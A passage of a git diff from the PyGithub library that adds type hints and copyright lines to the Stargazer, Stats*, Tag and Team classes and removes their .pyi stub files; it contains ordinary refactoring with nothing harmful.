- @property - def vcs_url(self) -> str: ... diff --git a/github/Stargazer.py b/github/Stargazer.py index 7e3334e6dc..229187780d 100644 --- a/github/Stargazer.py +++ b/github/Stargazer.py @@ -1,10 +1,24 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2013 martinqt # +# Copyright 2014 Vincent Jacques # # Copyright 2015 Dan Vanderkam # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,40 +38,43 @@ # # ################################################################################ -import github +from __future__ import annotations +from datetime import datetime +from typing import TYPE_CHECKING, Any -class Stargazer(github.GithubObject.NonCompletableGithubObject): +import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.NamedUser import NamedUser + + +class Stargazer(NonCompletableGithubObject): """ This class represents Stargazers. The reference can be found here https://docs.github.com/en/rest/reference/activity#starring """ - def __repr__(self): - return self.get__repr__({"user": self._user.value._login.value}) + def _initAttributes(self) -> None: + self._starred_at: Attribute[datetime] = NotSet + self._user: Attribute[NamedUser] = NotSet + self._url: Attribute[str] = NotSet + + def __repr__(self) -> str: + # this is not a type error, just we didn't type `NamedUser` yet. + # enable type checker here after we typed attribute of `NamedUser` + return self.get__repr__({"user": self._user.value._login.value}) # type: ignore @property - def starred_at(self): - """ - :type: datetime.datetime - """ + def starred_at(self) -> datetime: return self._starred_at.value @property - def user(self): - """ - :type: :class:`github.NamedUser` - """ + def user(self) -> NamedUser: return self._user.value - def _initAttributes(self): - self._starred_at = github.GithubObject.NotSet - self._user = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "starred_at" in attributes: self._starred_at = self._makeDatetimeAttribute(attributes["starred_at"]) if "user" in attributes: - self._user = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["user"] - ) + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/Stargazer.pyi b/github/Stargazer.pyi deleted file mode 100644 index 7f7284ef87..0000000000 --- a/github/Stargazer.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser - -class Stargazer(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def starred_at(self) -> datetime: ... - @property - def user(self) -> NamedUser: ... diff --git a/github/StatsCodeFrequency.py b/github/StatsCodeFrequency.py index bdc8792849..cf39d81917 100755 --- a/github/StatsCodeFrequency.py +++ b/github/StatsCodeFrequency.py @@ -1,10 +1,20 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,41 +34,37 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from datetime import datetime -class StatsCodeFrequency(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class StatsCodeFrequency(NonCompletableGithubObject): """ - This class represents statistics of StatsCodeFrequencies. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-weekly-commit-activity + This class represents statistics of StatsCodeFrequencies. + The reference can be found here https://docs.github.com/en/rest/metrics/statistics?apiVersion=2022-11-28#get-the-weekly-commit-activity """ + def _initAttributes(self) -> None: + self._week: Attribute[datetime] = NotSet + self._additions: Attribute[int] = NotSet + self._deletions: Attribute[int] = NotSet + @property - def week(self): - """ - :type: datetime.datetime - """ + def week(self) -> datetime: return self._week.value @property - def additions(self): - """ - :type: int - """ + def additions(self) -> int: return self._additions.value @property - def deletions(self): - """ - :type: int - """ + def deletions(self) -> int: return self._deletions.value - def _initAttributes(self): - self._week = github.GithubObject.NotSet - self._additions = github.GithubObject.NotSet - self._deletions = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: tuple[int, int, int]) -> None: self._week = self._makeTimestampAttribute(attributes[0]) self._additions = self._makeIntAttribute(attributes[1]) self._deletions = self._makeIntAttribute(attributes[2]) diff --git a/github/StatsCodeFrequency.pyi b/github/StatsCodeFrequency.pyi deleted file mode 100644 index 456bfb4bf2..0000000000 --- a/github/StatsCodeFrequency.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from datetime import datetime -from typing import List - -from github.GithubObject import NonCompletableGithubObject - -class StatsCodeFrequency(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: List[int]) -> None: ... - @property - def additions(self) -> int: ... - @property - def deletions(self) -> int: ... - @property - def week(self) -> datetime: ... diff --git a/github/StatsCommitActivity.py b/github/StatsCommitActivity.py index d8be09b4d0..78569649f5 100755 --- a/github/StatsCommitActivity.py +++ b/github/StatsCommitActivity.py @@ -1,10 +1,20 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,7 +34,11 @@ # # ################################################################################ +from datetime import datetime +from typing import Any, Dict + import github.GithubObject +from github.GithubObject import Attribute class StatsCommitActivity(github.GithubObject.NonCompletableGithubObject): @@ -32,33 +46,24 @@ class StatsCommitActivity(github.GithubObject.NonCompletableGithubObject): This class represents StatsCommitActivities. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-last-year-of-commit-activity """ + def _initAttributes(self) -> None: + self._week: Attribute[datetime] = github.GithubObject.NotSet + self._total: Attribute[int] = github.GithubObject.NotSet + self._days: Attribute[int] = github.GithubObject.NotSet + @property - def week(self): - """ - :type: datetime.datetime - """ + def week(self) -> datetime: return self._week.value @property - def total(self): - """ - :type: int - """ + def total(self) -> int: return self._total.value @property - def days(self): - """ - :type: list of int - """ + def days(self) -> int: return self._days.value - def _initAttributes(self): - self._week = github.GithubObject.NotSet - self._total = github.GithubObject.NotSet - self._days = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "week" in attributes: # pragma no branch self._week = self._makeTimestampAttribute(attributes["week"]) if "total" in attributes: # pragma no branch diff --git a/github/StatsCommitActivity.pyi b/github/StatsCommitActivity.pyi deleted file mode 100644 index 12243e5d0f..0000000000 --- a/github/StatsCommitActivity.pyi +++ /dev/null @@ -1,14 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List - -from github.GithubObject import NonCompletableGithubObject - -class StatsCommitActivity(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def days(self) -> List[int]: ... - @property - def total(self) -> int: ... - @property - def week(self) -> datetime: ... diff --git a/github/StatsContributor.py b/github/StatsContributor.py index a5817f7e5c..792824988f 100755 --- a/github/StatsContributor.py +++ b/github/StatsContributor.py @@ -5,6 +5,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,55 +32,49 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class StatsContributor(github.GithubObject.NonCompletableGithubObject): +class StatsContributor(NonCompletableGithubObject): """ This class represents StatsContributors. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-all-contributor-commit-activity """ - class Week(github.GithubObject.NonCompletableGithubObject): + class Week(NonCompletableGithubObject): """ This class represents weekly statistics of a contributor. """ @property - def w(self): - """ - :type: datetime.datetime - """ + def w(self) -> datetime: return self._w.value @property - def a(self): - """ - :type: int - """ + def a(self) -> int: return self._a.value @property - def d(self): - """ - :type: int - """ + def d(self) -> int: return self._d.value @property - def c(self): - """ - :type: int - """ + def c(self) -> int: return self._c.value - def _initAttributes(self): - self._w = github.GithubObject.NotSet - self._a = github.GithubObject.NotSet - self._d = github.GithubObject.NotSet - self._c = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._w: Attribute[datetime] = NotSet + self._a: Attribute[int] = NotSet + self._d: Attribute[int] = NotSet + self._c: Attribute[int] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "w" in attributes: # pragma no branch self._w = self._makeTimestampAttribute(attributes["w"]) if "a" in attributes: # pragma no branch @@ -83,39 +85,26 @@ def _useAttributes(self, attributes): self._c = self._makeIntAttribute(attributes["c"]) @property - def author(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def author(self) -> github.NamedUser.NamedUser: return self._author.value @property - def total(self): - """ - :type: int - """ + def total(self) -> int: return self._total.value @property - def weeks(self): - """ - :type: list of :class:`.Week` - """ + def weeks(self) -> list[Week]: return self._weeks.value - def _initAttributes(self): - self._author = github.GithubObject.NotSet - self._total = github.GithubObject.NotSet - self._weeks = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._author: Attribute[github.NamedUser.NamedUser] = NotSet + self._total: Attribute[int] = NotSet + self._weeks: Attribute[list[StatsContributor.Week]] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "author" in attributes: # pragma no branch - self._author = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["author"] - ) + self._author = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["author"]) if "total" in attributes: # pragma no branch self._total = self._makeIntAttribute(attributes["total"]) if "weeks" in attributes: # pragma no branch - self._weeks = self._makeListOfClassesAttribute( - self.Week, attributes["weeks"] - ) + self._weeks = self._makeListOfClassesAttribute(self.Week, attributes["weeks"]) diff --git a/github/StatsContributor.pyi b/github/StatsContributor.pyi deleted file mode 100644 index 6b9b1b0615..0000000000 --- a/github/StatsContributor.pyi +++ /dev/null @@ -1,27 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser - -class StatsContributor(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def author(self) -> NamedUser: ... - @property - def total(self) -> int: ... - @property - def weeks(self) -> List[Week]: ... - - class Week(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, int]) -> None: ... - @property - def a(self) -> int: ... - @property - def c(self) -> int: ... - @property - def d(self) -> int: ... - @property - def w(self) -> datetime: ... diff --git a/github/StatsParticipation.py b/github/StatsParticipation.py index 92ff31f1e3..d87c2d6f5d 100755 --- a/github/StatsParticipation.py +++ b/github/StatsParticipation.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,33 +35,31 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations +from typing import Any -class StatsParticipation(github.GithubObject.NonCompletableGithubObject): +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class StatsParticipation(NonCompletableGithubObject): """ This class represents StatsParticipations. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-weekly-commit-count """ + def _initAttributes(self) -> None: + self._all: Attribute[list[int]] = NotSet + self._owner: Attribute[list[int]] = NotSet + @property - def all(self): - """ - :type: list of int - """ + def all(self) -> list[int]: return self._all.value @property - def owner(self): - """ - :type: list of int - """ + def owner(self) -> list[int]: return self._owner.value - def _initAttributes(self): - self._all = github.GithubObject.NotSet - self._owner = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "all" in attributes: # pragma no branch self._all = self._makeListOfIntsAttribute(attributes["all"]) if "owner" in attributes: # pragma no branch diff --git a/github/StatsParticipation.pyi b/github/StatsParticipation.pyi deleted file mode 100644 index 45dc6605cd..0000000000 --- a/github/StatsParticipation.pyi +++ /dev/null @@ -1,11 +0,0 @@ -from typing import Dict, List - -from github.GithubObject import NonCompletableGithubObject - -class StatsParticipation(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, List[int]]) -> None: ... - @property - def all(self) -> List[int]: ... - @property - def owner(self) -> List[int]: ... diff --git a/github/StatsPunchCard.py b/github/StatsPunchCard.py index b84dab20fd..adcf2c9fa9 100755 --- a/github/StatsPunchCard.py +++ b/github/StatsPunchCard.py @@ -1,10 +1,21 @@ ############################ Copyrights and license ############################ # # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Dominic Davis-Foster # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -24,6 +35,8 @@ # # ################################################################################ +from typing import Any, Dict, Tuple + import github.GithubObject import github.NamedUser # TODO remove unused @@ -33,19 +46,15 @@ class StatsPunchCard(github.GithubObject.NonCompletableGithubObject): This class represents StatsPunchCards. The reference can be found here https://docs.github.com/en/rest/reference/repos#get-the-hourly-commit-count-for-each-day """ - def get(self, day, hour): - """ - Get a specific element + _dict: Dict[Tuple[int, int], int] - :param day: int - :param hour: int - :rtype: int - """ + def get(self, day: int, hour: int) -> int: + """Get a specific element""" return self._dict[(day, hour)] - def _initAttributes(self): + def _initAttributes(self) -> None: self._dict = {} - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Any) -> None: for day, hour, commits in attributes: self._dict[(day, hour)] = commits diff --git a/github/StatsPunchCard.pyi b/github/StatsPunchCard.pyi deleted file mode 100644 index 0335316920..0000000000 --- a/github/StatsPunchCard.pyi +++ /dev/null @@ -1,8 +0,0 @@ -from typing import List - -from github.GithubObject import NonCompletableGithubObject - -class StatsPunchCard(NonCompletableGithubObject): - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: List[List[int]]) -> None: ... - def get(self, day: int, hour: int) -> int: ... diff --git a/github/Tag.py b/github/Tag.py index 8203dcbbaf..61e4e70868 100644 --- a/github/Tag.py +++ b/github/Tag.py @@ -10,6 +10,14 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -29,59 +37,50 @@ # # ################################################################################ +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + import github.Commit -import github.GithubObject +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.Commit import Commit -class Tag(github.GithubObject.NonCompletableGithubObject): +class Tag(NonCompletableGithubObject): """ This class represents Tags. The reference can be found here https://docs.github.com/en/rest/reference/repos#list-repository-tags """ - def __repr__(self): - return self.get__repr__( - {"name": self._name.value, "commit": self._commit.value} - ) + def __repr__(self) -> str: + return self.get__repr__({"name": self._name.value, "commit": self._commit.value}) + + def _initAttributes(self) -> None: + self._commit: Attribute[Commit] = NotSet + self._name: Attribute[str] = NotSet + self._tarball_url: Attribute[str] = NotSet + self._zipball_url: Attribute[str] = NotSet @property - def commit(self): - """ - :type: :class:`github.Commit.Commit` - """ + def commit(self) -> Commit: return self._commit.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def tarball_url(self): - """ - :type: string - """ + def tarball_url(self) -> str: return self._tarball_url.value @property - def zipball_url(self): - """ - :type: string - """ + def zipball_url(self) -> str: return self._zipball_url.value - def _initAttributes(self): - self._commit = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._tarball_url = github.GithubObject.NotSet - self._zipball_url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "commit" in attributes: # pragma no branch - self._commit = self._makeClassAttribute( - github.Commit.Commit, attributes["commit"] - ) + self._commit = self._makeClassAttribute(github.Commit.Commit, attributes["commit"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "tarball_url" in attributes: # pragma no branch diff --git a/github/Tag.pyi b/github/Tag.pyi deleted file mode 100644 index 019c1bdef1..0000000000 --- a/github/Tag.pyi +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Any, Dict - -from github.Commit import Commit -from github.GithubObject import NonCompletableGithubObject - -class Tag(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def commit(self) -> Commit: ... - @property - def name(self) -> str: ... - @property - def tarball_url(self) -> str: ... - @property - def zipball_url(self) -> str: ... diff --git a/github/Team.py b/github/Team.py index ba4893a130..f91ad24679 100644 --- a/github/Team.py +++ b/github/Team.py @@ -16,10 +16,29 @@ # Copyright 2018 James D'Amato # # Copyright 2018 Maarten Fonville # # Copyright 2018 Manu Hortet # -# Copyright 2018 Michał Górny # +# Copyright 2018 Michał Górny # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # +# Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Shibasis Patel # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Adrian Bridgett <58699309+tl-adrian-bridgett@users.noreply.github.com># +# Copyright 2020 Andy Grunwald # +# Copyright 2020 Gilad Shefer # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 Tal Machani <12785464+talmachani@users.noreply.github.com> # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 秋葉 # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Kevin Grandjean # +# Copyright 2023 Mark Amery # +# Copyright 2023 Trim21 # +# Copyright 2024 Andrii Kezikov # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -39,163 +58,149 @@ # # ################################################################################ +from __future__ import annotations + +import urllib.parse +from typing import TYPE_CHECKING, Any + from deprecated import deprecated -import github.GithubObject import github.NamedUser import github.Organization import github.PaginatedList import github.Repository import github.TeamDiscussion +from github import Consts from github.GithubException import UnknownObjectException +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt -from . import Consts +if TYPE_CHECKING: + from github.Membership import Membership + from github.NamedUser import NamedUser + from github.Organization import Organization + from github.PaginatedList import PaginatedList + from github.Permissions import Permissions + from github.Repository import Repository + from github.TeamDiscussion import TeamDiscussion -class Team(github.GithubObject.CompletableGithubObject): +class Team(CompletableGithubObject): """ This class represents Teams. The reference can be found here https://docs.github.com/en/rest/reference/teams """ - def __repr__(self): + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._members_count: Attribute[int] = NotSet + self._members_url: Attribute[str] = NotSet + self._name: Attribute[str] = NotSet + self._description: Attribute[str] = NotSet + self._notification_setting: Attribute[str] = NotSet + self._permission: Attribute[str] = NotSet + self._repos_count: Attribute[int] = NotSet + self._repositories_url: Attribute[str] = NotSet + self._slug: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._organization: Attribute[github.Organization.Organization] = NotSet + self._privacy: Attribute[str] = NotSet + self._parent: Attribute[github.Team.Team] = NotSet + self._html_url: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "name": self._name.value}) @property - def id(self): - """ - :type: integer - """ + def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property - def members_count(self): - """ - :type: integer - """ + def members_count(self) -> int: self._completeIfNotSet(self._members_count) return self._members_count.value @property - def members_url(self): - """ - :type: string - """ + def members_url(self) -> str: self._completeIfNotSet(self._members_url) return self._members_url.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: self._completeIfNotSet(self._name) return self._name.value @property - def description(self): - """ - :type: string - """ + def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property - def permission(self): - """ - :type: string - """ + def notification_setting(self) -> str: + self._completeIfNotSet(self._notification_setting) + return self._notification_setting.value + + @property + def permission(self) -> str: self._completeIfNotSet(self._permission) return self._permission.value @property - def repos_count(self): - """ - :type: integer - """ + def repos_count(self) -> int: self._completeIfNotSet(self._repos_count) return self._repos_count.value @property - def repositories_url(self): - """ - :type: string - """ + def repositories_url(self) -> str: self._completeIfNotSet(self._repositories_url) return self._repositories_url.value @property - def slug(self): - """ - :type: string - """ + def slug(self) -> str: self._completeIfNotSet(self._slug) return self._slug.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property - def organization(self): - """ - :type: :class:`github.Organization.Organization` - """ + def organization(self) -> Organization: self._completeIfNotSet(self._organization) return self._organization.value @property - def privacy(self): - """ - :type: string - """ + def privacy(self) -> str: self._completeIfNotSet(self._privacy) return self._privacy.value @property - def parent(self): - """ - :type: string - """ + def parent(self) -> Team: self._completeIfNotSet(self._parent) return self._parent.value @property - def html_url(self): - """ - :type: string - """ + def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value - def add_to_members(self, member): + def add_to_members(self, member: NamedUser) -> None: """ This API call is deprecated. Use `add_membership` instead. https://docs.github.com/en/rest/reference/teams#add-or-update-team-membership-for-a-user-legacy :calls: `PUT /teams/{id}/members/{user} `_ - :param member: :class:`github.NamedUser.NamedUser` - :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"{self.url}/members/{member._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/members/{member._identity}") - def add_membership(self, member, role=github.GithubObject.NotSet): + def add_membership(self, member: NamedUser, role: Opt[str] = NotSet) -> None: """ :calls: `PUT /teams/{id}/memberships/{user} `_ - :param member: :class:`github.Nameduser.NamedUser` - :param role: string - :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member - assert role is github.GithubObject.NotSet or isinstance(role, str), role - if role is not github.GithubObject.NotSet: + assert role is NotSet or isinstance(role, str), role + if role is not NotSet: assert role in ["member", "maintainer"] put_parameters = { "role": role, @@ -208,55 +213,41 @@ def add_membership(self, member, role=github.GithubObject.NotSet): "PUT", f"{self.url}/memberships/{member._identity}", input=put_parameters ) - def get_team_membership(self, member): + def get_team_membership(self, member: str | NamedUser) -> Membership: """ :calls: `GET /orgs/{org}/memberships/team/{team_id}/{username} `_ - :param member: string or :class:`github.NamedUser.NamedUser` - :rtype: :class:`github.Membership.Membership` """ - assert isinstance(member, str) or isinstance( - member, github.NamedUser.NamedUser - ), member + assert isinstance(member, str) or isinstance(member, github.NamedUser.NamedUser), member if isinstance(member, github.NamedUser.NamedUser): member = member._identity - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/memberships/{member}" - ) - return github.Membership.Membership( - self._requester, headers, data, completed=True - ) + else: + member = urllib.parse.quote(member) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/memberships/{member}") + return github.Membership.Membership(self._requester, headers, data, completed=True) - def add_to_repos(self, repo): + def add_to_repos(self, repo: Repository) -> None: """ :calls: `PUT /teams/{id}/repos/{org}/{repo} `_ - :param repo: :class:`github.Repository.Repository` - :rtype: None """ assert isinstance(repo, github.Repository.Repository), repo - headers, data = self._requester.requestJsonAndCheck( - "PUT", f"{self.url}/repos/{repo._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/repos/{repo._identity}") - def get_repo_permission(self, repo): + def get_repo_permission(self, repo: Repository) -> Permissions | None: """ :calls: `GET /teams/{id}/repos/{org}/{repo} `_ - :param repo: string or :class:`github.Repository.Repository` - :rtype: None or :class:`github.Permissions.Permissions` """ - assert isinstance(repo, github.Repository.Repository) or isinstance( - repo, str - ), repo + assert isinstance(repo, github.Repository.Repository) or isinstance(repo, str), repo if isinstance(repo, github.Repository.Repository): - repo = repo._identity + repo = repo._identity # type: ignore + else: + repo = urllib.parse.quote(repo) try: headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/repos/{repo}", headers={"Accept": Consts.teamRepositoryPermissions}, ) - return github.Permissions.Permissions( - self._requester, headers, data["permissions"], completed=True - ) + return github.Permissions.Permissions(self._requester, headers, data["permissions"], completed=True) except UnknownObjectException: return None @@ -265,7 +256,7 @@ def get_repo_permission(self, repo): Team.set_repo_permission() is deprecated, use Team.update_team_repository() instead. """ ) - def set_repo_permission(self, repo, permission): + def set_repo_permission(self, repo: Repository, permission: str) -> None: """ :calls: `PUT /teams/{id}/repos/{org}/{repo} `_ :param repo: :class:`github.Repository.Repository` @@ -281,20 +272,16 @@ def set_repo_permission(self, repo, permission): "PUT", f"{self.url}/repos/{repo._identity}", input=put_parameters ) - def update_team_repository(self, repo, permission): + def update_team_repository(self, repo: Repository, permission: str) -> bool: """ :calls: `PUT /orgs/{org}/teams/{team_slug}/repos/{owner}/{repo} `_ - :param repo: string or :class:`github.Repository.Repository` - :param permission: string - :rtype: bool """ - assert isinstance(repo, github.Repository.Repository) or isinstance( - repo, str - ), repo + assert isinstance(repo, github.Repository.Repository) or isinstance(repo, str), repo assert isinstance(permission, str), permission - repo_url_param = repo if isinstance(repo, github.Repository.Repository): repo_url_param = repo._identity + else: + repo_url_param = urllib.parse.quote(repo) put_parameters = { "permission": permission, } @@ -305,56 +292,47 @@ def update_team_repository(self, repo, permission): ) return status == 204 - def delete(self): + def delete(self) -> None: """ :calls: `DELETE /teams/{id} `_ - :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit( self, - name, - description=github.GithubObject.NotSet, - permission=github.GithubObject.NotSet, - privacy=github.GithubObject.NotSet, - ): + name: str, + description: Opt[str] = NotSet, + permission: Opt[str] = NotSet, + privacy: Opt[str] = NotSet, + parent_team_id: Opt[int] = NotSet, + notification_setting: Opt[str] = NotSet, + ) -> None: """ :calls: `PATCH /teams/{id} `_ - :param name: string - :param description: string - :param permission: string - :param privacy: string - :rtype: None """ assert isinstance(name, str), name - assert description is github.GithubObject.NotSet or isinstance( - description, str - ), description - assert permission is github.GithubObject.NotSet or isinstance( - permission, str - ), permission - assert privacy is github.GithubObject.NotSet or isinstance( - privacy, str - ), privacy - post_parameters = { - "name": name, - } - if description is not github.GithubObject.NotSet: - post_parameters["description"] = description - if permission is not github.GithubObject.NotSet: - post_parameters["permission"] = permission - if privacy is not github.GithubObject.NotSet: - post_parameters["privacy"] = privacy - headers, data = self._requester.requestJsonAndCheck( - "PATCH", self.url, input=post_parameters + assert description is NotSet or isinstance(description, str), description + assert permission is NotSet or isinstance(permission, str), permission + assert privacy is NotSet or isinstance(privacy, str), privacy + assert parent_team_id is NotSet or isinstance(parent_team_id, (int, type(None))), parent_team_id + assert notification_setting in ["notifications_enabled", "notifications_disabled", NotSet], 